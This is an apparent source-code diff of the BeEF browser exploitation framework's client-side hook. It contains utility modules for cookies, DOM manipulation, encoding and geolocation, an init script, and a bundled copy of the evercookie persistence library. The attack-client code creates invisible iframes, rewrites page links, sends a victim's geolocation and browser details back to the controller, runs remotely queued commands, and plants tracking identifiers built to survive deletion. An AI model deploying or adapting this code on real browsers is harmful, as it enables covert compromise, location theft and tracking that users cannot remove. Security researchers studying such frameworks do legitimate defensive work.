changeFavicon: function(favicon_url) {
var link = document.createElement('link');
link.type = 'image/x-icon';
link.rel = 'shortcut icon';
link.href = favicon_url;
document.getElementsByTagName('head')[0].appendChild(link);
},
/**
* Changes page title
**/
changePageTitle: function(title) {
document.title = title;
},
/**
* A function that gets the max number of simaltaneous connections the browser can make
* per domain, or globally on all domains.
*
* This code is based on research from browserspy.dk
*
* @parameter {ENUM: 'PER_DOMAIN', 'GLOBAL'=>default}
* @return {Deferred promise} A jQuery deferred object promise, which when resolved passes
* the number of connections to the callback function as "this"
*
* example usage:
* $j.when(getMaxConnections()).done(function(){
* console.debug("Max Connections: " + this);
* });
*
*/
getMaxConnections: function(scope) {
var imagesCount = 30; // Max number of images to test.
var secondsTimeout = 5; // Image load timeout threashold.
var testUrl =""; // The image testing service URL.
// User broserspy.dk max connections service URL.
if(scope=='PER_DOMAIN')
testUrl = "http://browserspy.dk/connections.php?img=1&amp;random=";
else
// The token will be replaced by a different number with each request(different domain).
testUrl = "http://<token>.browserspy.dk/connections.php?img=1&amp;random=";
var imagesLoaded = 0; // Number of responding images before timeout.
var imagesRequested = 0; // Number of requested images.
var testImages = new Array(); // Array of all images.
var deferredObject = $j.Deferred(); // A jquery Deferred object.
for (var i = 1; i <= imagesCount; i++)
{
// Asynchronously request image.
testImages[i] =
$j.ajax({
type: "get",
dataType: true,
url: (testUrl.replace("<token>",i)) + Math.random(),
data: "",
timeout: (secondsTimeout * 1000),
// Function on completion of request.
complete: function(jqXHR, textStatus){
imagesRequested++;
// If the image returns a 200 or a 302, the text Status is "error", else null
if(textStatus == "error")
{
imagesLoaded++;
}
// If all images requested
if(imagesRequested >= imagesCount)
{
// resolve the deferred object passing the number of loaded images.
deferredObject.resolveWith(imagesLoaded);
}
}
});
}
// Return a promise to resolve the deffered object when the images are loaded.
return deferredObject.promise();
}
};
beef.regCmp('beef.browser');

View File

@@ -0,0 +1,95 @@
/*!
* @literal object: beef.browser.cookie
*
* Provides fuctions for working with cookies.
* Several functions adopted from http://techpatterns.com/downloads/javascript_cookies.php
* Original author unknown.
*
*/
beef.browser.cookie = {
setCookie: function (name, value, expires, path, domain, secure)
{
var today = new Date();
today.setTime( today.getTime() );
if ( expires )
{
expires = expires * 1000 * 60 * 60 * 24;
}
var expires_date = new Date( today.getTime() + (expires) );
document.cookie = name + "=" +escape( value ) +
( ( expires ) ? ";expires=" + expires_date.toGMTString() : "" ) +
( ( path ) ? ";path=" + path : "" ) +
( ( domain ) ? ";domain=" + domain : "" ) +
( ( secure ) ? ";secure" : "" );
},
getCookie: function(name)
{
var a_all_cookies = document.cookie.split( ';' );
var a_temp_cookie = '';
var cookie_name = '';
var cookie_value = '';
var b_cookie_found = false;
for ( i = 0; i < a_all_cookies.length; i++ )
{
a_temp_cookie = a_all_cookies[i].split( '=' );
cookie_name = a_temp_cookie[0].replace(/^\s+|\s+$/g, '');
if ( cookie_name == name )
{
b_cookie_found = true;
if ( a_temp_cookie.length > 1 )
{
cookie_value = unescape( a_temp_cookie[1].replace(/^\s+|\s+$/g, '') );
}
return cookie_value;
break;
}
a_temp_cookie = null;
cookie_name = '';
}
if ( !b_cookie_found )
{
return null;
}
},
deleteCookie: function (name, path, domain)
{
if ( this.getCookie(name) ) document.cookie = name + "=" +
( ( path ) ? ";path=" + path : "") +
( ( domain ) ? ";domain=" + domain : "" ) +
";expires=Thu, 01-Jan-1970 00:00:01 GMT";
},
hasSessionCookies: function (name)
{
var name = name || "cookie";
if (name == "") name = "cookie";
this.setCookie( name, 'none', '', '/', '', '' );
cookiesEnabled = (this.getCookie(name) == null)? false:true;
this.deleteCookie(name, '/', '');
return cookiesEnabled;
},
hasPersistentCookies: function (name)
{
var name = name || "cookie";
if (name == "") name = "cookie";
this.setCookie( name, 'none', 1, '/', '', '' );
cookiesEnabled = (this.getCookie(name) == null)? false:true;
this.deleteCookie(name, '/', '');
return cookiesEnabled;
}
};
beef.regCmp('beef.browser.cookie');

188
core/main/client/dom.js Normal file
View File

@@ -0,0 +1,188 @@
/*!
* @literal object: beef.dom
*
* Provides functionalities to manipulate the DOM.
*/
beef.dom = {
/**
* Generates a random ID for HTML elements
* @param: {String} prefix: a custom prefix before the random id. defaults to "beef-"
* @return: generated id
*/
generateID: function(prefix) {
return ((prefix == null) ? 'beef-' : prefix)+Math.floor(Math.random()*99999);
},
/**
* Creates a new element but does not append it to the DOM.
* @param: {String} the name of the element.
* @param: {Literal Object} the attributes of that element.
* @return: the created element.
*/
createElement: function(type, attributes) {
var el = document.createElement(type);
for(index in attributes) {
if(typeof attributes[index] == 'string') {
el.setAttribute(index, attributes[index]);
}
}
return el;
},
/**
* Removes element from the DOM.
* @param: {String or DOM Object} the target element to be removed.
*/
removeElement: function(el) {
if (!beef.dom.isDOMElement(el))
{
el = document.getElementById(el);
}
try {
el.parentNode.removeChild(el);
} catch (e) { }
},
/**
* Tests if the object is a DOM element.
* @param: {Object} the DOM element.
* @return: true if the object is a DOM element.
*/
isDOMElement: function(obj) {
return (obj.nodeType) ? true : false;
},
/**
* Creates an invisible iframe on the hook browser's page.
* @return: the iframe.
*/
createInvisibleIframe: function() {
var iframe = this.createElement('iframe', {
width: '1px',
height: '1px',
style: 'visibility:hidden;'
});
document.body.appendChild(iframe);
return iframe;
},
/**
* @param: {String} type: can be one of the following: hidden, fullscreen, custom
* @param: {String} method: can be 'get' or 'post'. defaults to get
* @param: {Hash} params: list of params that will be sent in request.
* @param: {Hash} styles: css styling attributes, these are merged with the defaults specified in the type parameter
* @param: {Function} a callback function to fire once the iframe has loaded
* @return: {Object} the inserted iframe
*/
createIframe: function(type, method, params, styles, onload) {
var css = {};
var form_submit = (method.toLowerCase() == 'post') ? true : false;
if (form_submit && params['src'])
{
var form_action = params['src'];
params['src'] = '';
}
if (type == 'hidden') { css = $j.extend(true, {'border':'none', 'width':'1px', 'height':'1px', 'display':'none', 'visibility':'hidden'}, styles); }
if (type == 'fullscreen') { css = $j.extend(true, {'border':'none', 'background-color':'white', 'width':'100%', 'height':'100%', 'position':'absolute', 'top':'0px', 'left':'0px'}, styles); $j('body').css({'padding':'0px', 'margin':'0px'}); }
var iframe = $j('<iframe />').attr(params).css(css).load(onload).prependTo('body');
if (form_submit && form_action)
{
var id = beef.dom.generateID();
$j(iframe).attr({'id': id, 'name':id});
var form = beef.dom.createForm({'action':form_action, 'method':'get', 'target':id}, false);
$j(form).prependTo('body').submit();
}
return iframe;
},
/**
* @param: {Hash} params: params to be applied to the form element
* @param: {Boolean} append: automatically append the form to the body
* @return: {Object} a form object
*/
createForm: function(params, append) {
var form = $j('<form></form>').attr(params);
if (append)
$j('body').append(form);
return form;
},
/**
* Get the location of the current page.
* @return: the location.
*/
getLocation: function() {
return document.location.href;
},
/**
* Get links of the current page.
* @return: array of URLs.
*/
getLinks: function() {
var linksarray = [];
var links = document.links;
for(var i = 0; i<links.length; i++) {
linksarray = linksarray.concat(links[i].href)
};
return linksarray
},
/**
* Rewrites all links matched by selector to url, also rebinds the click method to simply return true
* @param: {String} url: the url to be rewritten
* @param: {String} selector: the jquery selector statement to use, defaults to all a tags.
* @return: {Number} the amount of links found in the DOM and rewritten.
*/
rewriteLinks: function(url, selector) {
var sel = (selector == null) ? 'a' : selector;
return $j(sel).each(function() {
if ($j(this).attr('href') != null)
{
$j(this).attr('href', url).click(function() { return true; });
}
}).length;
},
/**
* @params: {String} id: reference identifier to the applet.
* @params: {String} code: name of the class to be loaded. For example, beef.class.
* @params: {String} archive: the jar that contains the code.
* example usage in code:
* beef.dom.attachApplet('appletId', 'SuperMario3D.class', 'http://127.0.0.1:3000/ui/media/images/target.jar');
*/
attachApplet: function(id, code, archive){
var content = null;
if(beef.browser.isIE()){
content = "" +
"<object classid='clsid:8AD9C840-044E-11D1-B3E9-00805F499D93' " +
"height='350' width='550' > " +
"<param name='code' value='" + code + "' />" +
"<param name='archive' value='" + archive + "' />" +
"</object>";
}else{ // if the hooked browser is not IE, then use the embed tag
content = "" +
"<embed id='" + id + "' code='" + code + "' " +
"type='application/x-java-applet' archive='" + archive + "' " +
"height='350' width='550' >" +
"</embed>";
}
$j('body').append(content);
},
/**
* @params: {String} id: reference identifier to the applet.
*/
detachApplet: function(id){
$j('#' + id + '').detach();
}
};
beef.regCmp('beef.dom');

View File

@@ -0,0 +1,146 @@
// Base64 code from http://stackoverflow.com/questions/3774622/how-to-base64-encode-inside-of-javascript/3774662#3774662
beef.encode = {};
beef.encode.base64 = {
keyStr: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
encode : function (input) {
if (window.btoa) {
return btoa(input);
}
var output = "";
var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
var i = 0;
input = beef.encode.base64.utf8_encode(input);
while (i < input.length) {
chr1 = input.charCodeAt(i++);
chr2 = input.charCodeAt(i++);
chr3 = input.charCodeAt(i++);
enc1 = chr1 >> 2;
enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
enc4 = chr3 & 63;
if (isNaN(chr2)) {
enc3 = enc4 = 64;
} else if (isNaN(chr3)) {
enc4 = 64;
}
output = output +
this.keyStr.charAt(enc1) + this.keyStr.charAt(enc2) +
this.keyStr.charAt(enc3) + this.keyStr.charAt(enc4);
}
return output;
},
decode : function (input) {
if (window.atob) {
return atob(input);
}
var output = "";
var chr1, chr2, chr3;
var enc1, enc2, enc3, enc4;
var i = 0;
input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
while (i < input.length) {
enc1 = this.keyStr.indexOf(input.charAt(i++));
enc2 = this.keyStr.indexOf(input.charAt(i++));
enc3 = this.keyStr.indexOf(input.charAt(i++));
enc4 = this.keyStr.indexOf(input.charAt(i++));
chr1 = (enc1 << 2) | (enc2 >> 4);
chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
chr3 = ((enc3 & 3) << 6) | enc4;
output = output + String.fromCharCode(chr1);
if (enc3 != 64) {
output = output + String.fromCharCode(chr2);
}
if (enc4 != 64) {
output = output + String.fromCharCode(chr3);
}
}
output = beef.encode.base64.utf8_decode(output);
return output;
},
utf8_encode : function (string) {
string = string.replace(/\r\n/g,"\n");
var utftext = "";
for (var n = 0; n < string.length; n++) {
var c = string.charCodeAt(n);
if (c < 128) {
utftext += String.fromCharCode(c);
}
else if((c > 127) && (c < 2048)) {
utftext += String.fromCharCode((c >> 6) | 192);
utftext += String.fromCharCode((c & 63) | 128);
}
else {
utftext += String.fromCharCode((c >> 12) | 224);
utftext += String.fromCharCode(((c >> 6) & 63) | 128);
utftext += String.fromCharCode((c & 63) | 128);
}
}
return utftext;
},
utf8_decode : function (utftext) {
var string = "";
var i = 0;
var c = c1 = c2 = 0;
while ( i < utftext.length ) {
c = utftext.charCodeAt(i);
if (c < 128) {
string += String.fromCharCode(c);
i++;
}
else if((c > 191) && (c < 224)) {
c2 = utftext.charCodeAt(i+1);
string += String.fromCharCode(((c & 31) << 6) | (c2 & 63));
i += 2;
}
else {
c2 = utftext.charCodeAt(i+1);
c3 = utftext.charCodeAt(i+2);
string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63));
i += 3;
}
}
return string;
}
}
beef.regCmp('beef.encode.base64');

View File

@@ -0,0 +1,119 @@
// Json code from Brantlye Harris-- http://code.google.com/p/jquery-json/
beef.encode.json = {
stringify: function(o) {
if (typeof(JSON) == 'object' && JSON.stringify)
return JSON.stringify(o);
var type = typeof(o);
if (o === null)
return "null";
if (type == "undefined")
return '\"\"';
if (type == "number" || type == "boolean")
return o + "";
if (type == "string")
return $j.quoteString(o);
if (type == 'object')
{
if (typeof o.toJSON == "function")
return $j.toJSON( o.toJSON() );
if (o.constructor === Date)
{
var month = o.getUTCMonth() + 1;
if (month < 10) month = '0' + month;
var day = o.getUTCDate();
if (day < 10) day = '0' + day;
var year = o.getUTCFullYear();
var hours = o.getUTCHours();
if (hours < 10) hours = '0' + hours;
var minutes = o.getUTCMinutes();
if (minutes < 10) minutes = '0' + minutes;
var seconds = o.getUTCSeconds();
if (seconds < 10) seconds = '0' + seconds;
var milli = o.getUTCMilliseconds();
if (milli < 100) milli = '0' + milli;
if (milli < 10) milli = '0' + milli;
return '"' + year + '-' + month + '-' + day + 'T' +
hours + ':' + minutes + ':' + seconds +
'.' + milli + 'Z"';
}
if (o.constructor === Array)
{
var ret = [];
for (var i = 0; i < o.length; i++)
ret.push( $j.toJSON(o[i]) || "null" );
return "[" + ret.join(",") + "]";
}
var pairs = [];
for (var k in o) {
var name;
var type = typeof k;
if (type == "number")
name = '"' + k + '"';
else if (type == "string")
name = $j.quoteString(k);
else
continue; //skip non-string or number keys
if (typeof o[k] == "function")
continue; //skip pairs where the value is a function.
var val = $j.toJSON(o[k]);
pairs.push(name + ":" + val);
}
return "{" + pairs.join(", ") + "}";
}
},
quoteString: function(string) {
if (string.match(this._escapeable))
{
return '"' + string.replace(this._escapeable, function (a)
{
var c = this._meta[a];
if (typeof c === 'string') return c;
c = a.charCodeAt();
return '\\u00' + Math.floor(c / 16).toString(16) + (c % 16).toString(16);
}) + '"';
}
return '"' + string + '"';
},
_escapeable: /["\\\x00-\x1f\x7f-\x9f]/g,
_meta : {
'\b': '\\b',
'\t': '\\t',
'\n': '\\n',
'\f': '\\f',
'\r': '\\r',
'"' : '\\"',
'\\': '\\\\'
}
}
$j.toJSON = function(o) {return beef.encode.json.stringify(o);}
$j.quoteString = function(o) {return beef.encode.json.quoteString(o);}
beef.regCmp('beef.encode.json');

View File

@@ -0,0 +1,94 @@
/*!
* @literal object: beef.geolocation
*
* Provides functionalities to use the geolocation API.
*/
beef.geolocation = {
/**
* check if browser supports the geolocation API
*/
isGeolocationEnabled: function(){
return !!navigator.geolocation;
},
/*
* given latitude/longitude retrieves exact street position of the zombie
*/
getOpenStreetMapAddress: function(command_url, command_id, latitude, longitude){
// fixes damned issues with jquery 1.5, like this one:
// http://bugs.jquery.com/ticket/8084
$j.ajaxSetup({
jsonp: null,
jsonpCallback: null
});
$j.ajax({
error: function(xhr, status, error){
//console.log("[geolocation.js] openstreetmap error");
beef.net.send(command_url, command_id, "latitude=" + latitude
+ "&longitude=" + longitude
+ "&osm=UNAVAILABLE"
+ "&geoLocEnabled=True");
},
success: function(data, status, xhr){
//console.log("[geolocation.js] openstreetmap success");
var jsonResp = $j.parseJSON(data);
beef.net.send(command_url, command_id, "latitude=" + latitude
+ "&longitude=" + longitude
// + "&osm=" + encodeURI(jsonResp.display_name)
+ "&osm=tofix"
+ "&geoLocEnabled=True");
},
type: "get",
url: "http://nominatim.openstreetmap.org/reverse?format=json&lat=" +
latitude + "&lon=" + longitude + "&zoom=18&addressdetails=1"
});
},
/*
* retrieve latitude/longitude using the geolocation API
*/
getGeolocation: function (command_url, command_id){
if (!navigator.geolocation) {
beef.net.send(command_url, command_id, "latitude=NOT_ENABLED&longitude=NOT_ENABLED&geoLocEnabled=False");
return;
}
//console.log("[geolocation.js] navigator.geolocation.getCurrentPosition");
navigator.geolocation.getCurrentPosition( //note: this is an async call
function(position){ // success
var latitude = position.coords.latitude;
var longitude = position.coords.longitude;
//console.log("[geolocation.js] success getting position. latitude [%d], longitude [%d]", latitude, longitude);
beef.geolocation.getOpenStreetMapAddress(command_url, command_id, latitude, longitude);
}, function(error){ // failure
//console.log("[geolocation.js] error [%d] getting position", error.code);
switch(error.code) // Returns 0-3
{
case 0:
beef.net.send(command_url, command_id, "latitude=UNKNOWN_ERROR&longitude=UNKNOWN_ERROR&geoLocEnabled=False");
return;
case 1:
beef.net.send(command_url, command_id, "latitude=PERMISSION_DENIED&longitude=PERMISSION_DENIED&geoLocEnabled=False");
return;
case 2:
beef.net.send(command_url, command_id, "latitude=POSITION_UNAVAILABLE&longitude=POSITION_UNAVAILABLE&geoLocEnabled=False");
return;
case 3:
beef.net.send(command_url, command_id, "latitude=TIMEOUT&longitude=TIMEOUT&geoLocEnabled=False");
return;
}
beef.net.send(command_url, command_id, "latitude=UNKNOWN_ERROR&longitude=UNKNOWN_ERROR&geoLocEnabled=False");
},
{enableHighAccuracy:true, maximumAge:30000, timeout:27000}
);
}
}
beef.regCmp('beef.geolocation');

24
core/main/client/init.js Normal file
View File

@@ -0,0 +1,24 @@
// if beef.pageIsLoaded is true, then this JS has been loaded >1 times
// and will have a new session id. The new session id will need to know
// the brwoser details. So sendback the browser details again.
BEEFHOOK=beef.session.get_hook_session_id()
if( beef.pageIsLoaded ) {
beef.net.browser_details();
}
window.onload = function() {
beef_init();
}
function beef_init() {
if (!beef.pageIsLoaded) {
beef.pageIsLoaded = true;
beef.net.browser_details()
beef.updater.execute_commands();
beef.updater.check();
beef.logger.start();
}
}

View File

@@ -0,0 +1,977 @@
/*
* evercookie 0.4 (10/13/2010) -- extremely persistent cookies
*
* by samy kamkar : code@samy.pl : http://samy.pl
*
* this api attempts to produce several types of persistent data
* to essentially make a cookie virtually irrevocable from a system
*
* specifically it uses:
* - standard http cookies
* - flash cookies (local shared objects)
* - silverlight isolated storage
* - png generation w/forced cache and html5 canvas pixel reading
* - http etags
* - http cache
* - window.name
* - IE userData
* - html5 session cookies
* - html5 local storage
* - html5 global storage
* - html5 database storage via sqlite
* - css history scanning
*
* if any cookie is found, it's then reset to all the other locations
* for example, if someone deletes all but one type of cookie, once
* that cookie is re-discovered, all of the other cookie types get reset
*
* !!! SOME OF THESE ARE CROSS-DOMAIN COOKIES, THIS MEANS
* OTHER SITES WILL BE ABLE TO READ SOME OF THESE COOKIES !!!
*
* USAGE:
var ec = new evercookie();
// set a cookie "id" to "12345"
// usage: ec.set(key, value)
ec.set("id", "12345");
// retrieve a cookie called "id" (simply)
ec.get("id", function(value) { alert("Cookie value is " + value) });
// or use a more advanced callback function for getting our cookie
// the cookie value is the first param
// an object containing the different storage methods
// and returned cookie values is the second parameter
function getCookie(best_candidate, all_candidates)
{
alert("The retrieved cookie is: " + best_candidate + "\n" +
"You can see what each storage mechanism returned " +
"by looping through the all_candidates object.");
for (var item in all_candidates)
document.write("Storage mechanism " + item +
" returned " + all_candidates[item] + " votes<br>");
}
ec.get("id", getCookie);
// we look for "candidates" based off the number of "cookies" that
// come back matching since it's possible for mismatching cookies.
// the best candidate is very-very-likely the correct one
*/
/* to turn off CSS history knocking, set _ec_history to 0 */
var _ec_history = 1; // CSS history knocking or not .. can be network intensive
var _ec_tests = 10;//1000;
var _ec_debug = 0;
function _ec_dump(arr, level)
{
var dumped_text = "";
if(!level) level = 0;
//The padding given at the beginning of the line.
var level_padding = "";
for(var j=0;j<level+1;j++) level_padding += " ";
if(typeof(arr) == 'object') { //Array/Hashes/Objects
for(var item in arr) {
var value = arr[item];
if(typeof(value) == 'object') { //If it is an array,
dumped_text += level_padding + "'" + item + "' ...\n";
dumped_text += _ec_dump(value,level+1);
} else {
dumped_text += level_padding + "'" + item + "' => \"" + value + "\"\n";
}
}
} else { //Stings/Chars/Numbers etc.
dumped_text = "===>"+arr+"<===("+typeof(arr)+")";
}
return dumped_text;
}
function _ec_replace(str, key, value)
{
if (str.indexOf('&' + key + '=') > -1 || str.indexOf(key + '=') == 0)
{
// find start
var idx = str.indexOf('&' + key + '=');
if (idx == -1)
idx = str.indexOf(key + '=');
// find end
var end = str.indexOf('&', idx + 1);
var newstr;
if (end != -1)
newstr = str.substr(0, idx) + str.substr(end + (idx ? 0 : 1)) + '&' + key + '=' + value;
else
newstr = str.substr(0, idx) + '&' + key + '=' + value;
return newstr;
}
else
return str + '&' + key + '=' + value;
}
// necessary for flash to communicate with js...
// please implement a better way
var _global_lso;
function _evercookie_flash_var(cookie)
{
_global_lso = cookie;
// remove the flash object now
var swf = $('#myswf');
if (swf && swf.parentNode)
swf.parentNode.removeChild(swf);
}
var evercookie = (function () {
this._class = function() {
var self = this;
// private property
_baseKeyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
this._ec = {};
var no_color = -1;
this.get = function(name, cb, dont_reset)
{
$(document).ready(function() {
self._evercookie(name, cb, undefined, undefined, dont_reset);
});
}
this.set = function(name, value)
{
$(document).ready(function() {
self._evercookie(name, function() { }, value);
});
}
this._evercookie = function(name, cb, value, i, dont_reset)
{
if (typeof self._evercookie == 'undefined')
self = this;
if (typeof i == 'undefined')
i = 0;
// first run
if (i == 0)
{
self.evercookie_database_storage(name, value);
self.evercookie_png(name, value);
self.evercookie_etag(name, value);
self.evercookie_cache(name, value);
self.evercookie_lso(name, value);
self.evercookie_silverlight(name, value);
self._ec.userData = self.evercookie_userdata(name, value);
self._ec.cookieData = self.evercookie_cookie(name, value);
self._ec.localData = self.evercookie_local_storage(name, value);
self._ec.globalData = self.evercookie_global_storage(name, value);
self._ec.sessionData = self.evercookie_session_storage(name, value);
self._ec.windowData = self.evercookie_window(name, value);
if (_ec_history)
self._ec.historyData = self.evercookie_history(name, value);
}
// when writing data, we need to make sure lso and silverlight object is there
if (typeof value != 'undefined')
{
if (
(
(typeof _global_lso == 'undefined') ||
(typeof _global_isolated == 'undefined')
)
&& i++ < _ec_tests
)
setTimeout(function() { self._evercookie(name, cb, value, i, dont_reset) }, 300);
}
// when reading data, we need to wait for swf, db, silverlight and png
else
{
if (
(
// we support local db and haven't read data in yet
(window.openDatabase && typeof self._ec.dbData == 'undefined') ||
(typeof _global_lso == 'undefined') ||
(typeof self._ec.etagData == 'undefined') ||
(typeof self._ec.cacheData == 'undefined') ||
(document.createElement('canvas').getContext && (typeof self._ec.pngData == 'undefined' || self._ec.pngData == '')) ||
(typeof _global_isolated == 'undefined')
)
&&
i++ < _ec_tests
)
{
setTimeout(function() { self._evercookie(name, cb, value, i, dont_reset) }, 300);
}
// we hit our max wait time or got all our data
else
{
// get just the piece of data we need from swf
self._ec.lsoData = self.getFromStr(name, _global_lso);
_global_lso = undefined;
// get just the piece of data we need from silverlight
self._ec.slData = self.getFromStr(name, _global_isolated);
_global_isolated = undefined;
var tmpec = self._ec;
self._ec = {};
// figure out which is the best candidate
var candidates = new Array();
var bestnum = 0;
var candidate;
for (var item in tmpec)
{
if (typeof tmpec[item] != 'undefined' && typeof tmpec[item] != 'null' && tmpec[item] != '' &&
tmpec[item] != 'null' && tmpec[item] != 'undefined' && tmpec[item] != null)
{
candidates[tmpec[item]] = typeof candidates[tmpec[item]] == 'undefined' ? 1 : candidates[tmpec[item]] + 1;
}
}
for (var item in candidates)
{
if (candidates[item] > bestnum)
{
bestnum = candidates[item];
candidate = item;
}
}
// reset cookie everywhere
if (typeof dont_reset == "undefined" || dont_reset != 1)
self.set(name, candidate);
if (typeof cb == 'function')
cb(candidate, tmpec);
}
}
}
this.evercookie_window = function(name, value)
{
try {
if (typeof(value) != "undefined")
window.name = _ec_replace(window.name, name, value);
else
return this.getFromStr(name, window.name);
} catch(e) { }
}
this.evercookie_userdata = function(name, value)
{
try {
var elm = this.createElem('div', 'userdata_el', 1);
elm.style.behavior = "url(#default#userData)";
if (typeof(value) != "undefined")
{
elm.setAttribute(name, value);
elm.save(name);
}
else
{
elm.load(name);
return elm.getAttribute(name);
}
} catch(e) { }
}
this.evercookie_cache = function(name, value)
{
if (typeof(value) != "undefined")
{
// make sure we have evercookie session defined first
document.cookie = 'evercookie_cache=' + value;
// evercookie_cache.php handles caching
var img = new Image();
img.style.visibility = 'hidden';
img.style.position = 'absolute';
img.src = 'evercookie_cache.php?name=' + name;
}
else
{
// interestingly enough, we want to erase our evercookie
// http cookie so the php will force a cached response
var origvalue = this.getFromStr('evercookie_cache', document.cookie);
self._ec.cacheData = undefined;
document.cookie = 'evercookie_cache=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/';
$.ajax({
url: 'evercookie_cache.php?name=' + name,
success: function(data) {
// put our cookie back
document.cookie = 'evercookie_cache=' + origvalue + '; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/';
self._ec.cacheData = data;
}
});
}
}
this.evercookie_etag = function(name, value)
{
if (typeof(value) != "undefined")
{
// make sure we have evercookie session defined first
document.cookie = 'evercookie_etag=' + value;
// evercookie_etag.php handles etagging
var img = new Image();
img.style.visibility = 'hidden';
img.style.position = 'absolute';
img.src = 'evercookie_etag.php?name=' + name;
}
else
{
// interestingly enough, we want to erase our evercookie
// http cookie so the php will force a cached response
var origvalue = this.getFromStr('evercookie_etag', document.cookie);
self._ec.etagData = undefined;
document.cookie = 'evercookie_etag=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/';
$.ajax({
url: 'evercookie_etag.php?name=' + name,
success: function(data) {
// put our cookie back
document.cookie = 'evercookie_etag=' + origvalue + '; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/';
self._ec.etagData = data;
}
});
}
}
this.evercookie_lso = function(name, value)
{
var div = document.getElementById('swfcontainer');
if (!div)
{
div = document.createElement("div");
div.setAttribute('id', 'swfcontainer');
document.body.appendChild(div);
}
var flashvars = {};
if (typeof value != 'undefined')
flashvars.everdata = name + '=' + value;
var params = {};
params.swliveconnect = "true";
var attributes = {};
attributes.id = "myswf";
attributes.name = "myswf";
swfobject.embedSWF("evercookie.swf", "swfcontainer", "1", "1", "9.0.0", false, flashvars, params, attributes);
}
this.evercookie_png = function(name, value)
{
if (document.createElement('canvas').getContext)
{
if (typeof(value) != "undefined")
{
// make sure we have evercookie session defined first
document.cookie = 'evercookie_png=' + value;
// evercookie_png.php handles the hard part of generating the image
// based off of the http cookie and returning it cached
var img = new Image();
img.style.visibility = 'hidden';
img.style.position = 'absolute';
img.src = 'evercookie_png.php?name=' + name;
}
else
{
self._ec.pngData = undefined;
var context = document.createElement('canvas');
context.style.visibility = 'hidden';
context.style.position = 'absolute';
context.width = 200;
context.height = 1;
var ctx = context.getContext('2d');
// interestingly enough, we want to erase our evercookie
// http cookie so the php will force a cached response
var origvalue = this.getFromStr('evercookie_png', document.cookie);
document.cookie = 'evercookie_png=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/';
var img = new Image();
img.style.visibility = 'hidden';
img.style.position = 'absolute';
img.src = 'evercookie_png.php?name=' + name;
img.onload = function()
{
// put our cookie back
document.cookie = 'evercookie_png=' + origvalue + '; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/';
self._ec.pngData = '';
ctx.drawImage(img,0,0);
// get CanvasPixelArray from given coordinates and dimensions
var imgd = ctx.getImageData(0, 0, 200, 1);
var pix = imgd.data;
// loop over each pixel to get the "RGB" values (ignore alpha)
for (var i = 0, n = pix.length; i < n; i += 4)
{
if (pix[i ] == 0) break;
self._ec.pngData += String.fromCharCode(pix[i]);
if (pix[i+1] == 0) break;
self._ec.pngData += String.fromCharCode(pix[i+1]);
if (pix[i+2] == 0) break;
self._ec.pngData += String.fromCharCode(pix[i+2]);
}
}
}
}
}
this.evercookie_local_storage = function(name, value)
{
try
{
if (window.localStorage)
{
if (typeof(value) != "undefined")
localStorage.setItem(name, value);
else
return localStorage.getItem(name);
}
}
catch (e) { }
}
this.evercookie_database_storage = function(name, value)
{
try
{
if (window.openDatabase)
{
var database = window.openDatabase("sqlite_evercookie", "", "evercookie", 1024 * 1024);
if (typeof(value) != "undefined")
database.transaction(function(tx)
{
tx.executeSql("CREATE TABLE IF NOT EXISTS cache(" +
"id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, " +
"name TEXT NOT NULL, " +
"value TEXT NOT NULL, " +
"UNIQUE (name)" +
")", [], function (tx, rs) { }, function (tx, err) { });
tx.executeSql("INSERT OR REPLACE INTO cache(name, value) VALUES(?, ?)", [name, value],
function (tx, rs) { }, function (tx, err) { })
});
else
{
database.transaction(function(tx)
{
tx.executeSql("SELECT value FROM cache WHERE name=?", [name],
function(tx, result1) {
if (result1.rows.length >= 1)
self._ec.dbData = result1.rows.item(0)['value'];
else
self._ec.dbData = '';
}, function (tx, err) { })
});
}
}
} catch(e) { }
}
this.evercookie_session_storage = function(name, value)
{
try
{
if (window.sessionStorage)
{
if (typeof(value) != "undefined")
sessionStorage.setItem(name, value);
else
return sessionStorage.getItem(name);
}
} catch(e) { }
}
this.evercookie_global_storage = function(name, value)
{
if (window.globalStorage)
{
var host = this.getHost();
try
{
if (typeof(value) != "undefined")
eval("globalStorage[host]." + name + " = value");
else
return eval("globalStorage[host]." + name);
} catch(e) { }
}
}
this.evercookie_silverlight = function(name, value) {
/*
* Create silverlight embed
*
* Ok. so, I tried doing this the proper dom way, but IE chokes on appending anything in object tags (including params), so this
* is the best method I found. Someone really needs to find a less hack-ish way. I hate the look of this shit.
*/
var source = "evercookie.xap";
var minver = "4.0.50401.0";
var initParam = "";
if(typeof(value) != "undefined")
initParam = '<param name="initParams" value="'+name+'='+value+'" />';
var html =
'<object data="data:application/x-silverlight-2," type="application/x-silverlight-2" id="mysilverlight" width="0" height="0">' +
initParam +
'<param name="source" value="'+source+'"/>' +
'<param name="onLoad" value="onSilverlightLoad"/>' +
'<param name="onError" value="onSilverlightError"/>' +
'<param name="background" value="Transparent"/>' +
'<param name="windowless" value="true"/>' +
'<param name="minRuntimeVersion" value="'+minver+'"/>' +
'<param name="autoUpgrade" value="true"/>' +
'<a href="http://go.microsoft.com/fwlink/?LinkID=149156&v='+minver+'" style="text-decoration:none">' +
'<img src="http://go.microsoft.com/fwlink/?LinkId=108181" alt="Get Microsoft Silverlight" style="border-style:none"/>' +
'</a>' +
'</object>';
document.body.innerHTML+=html;
}
// public method for encoding
this.encode = function (input) {
var output = "";
var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
var i = 0;
input = this._utf8_encode(input);
while (i < input.length) {
chr1 = input.charCodeAt(i++);
chr2 = input.charCodeAt(i++);
chr3 = input.charCodeAt(i++);
enc1 = chr1 >> 2;
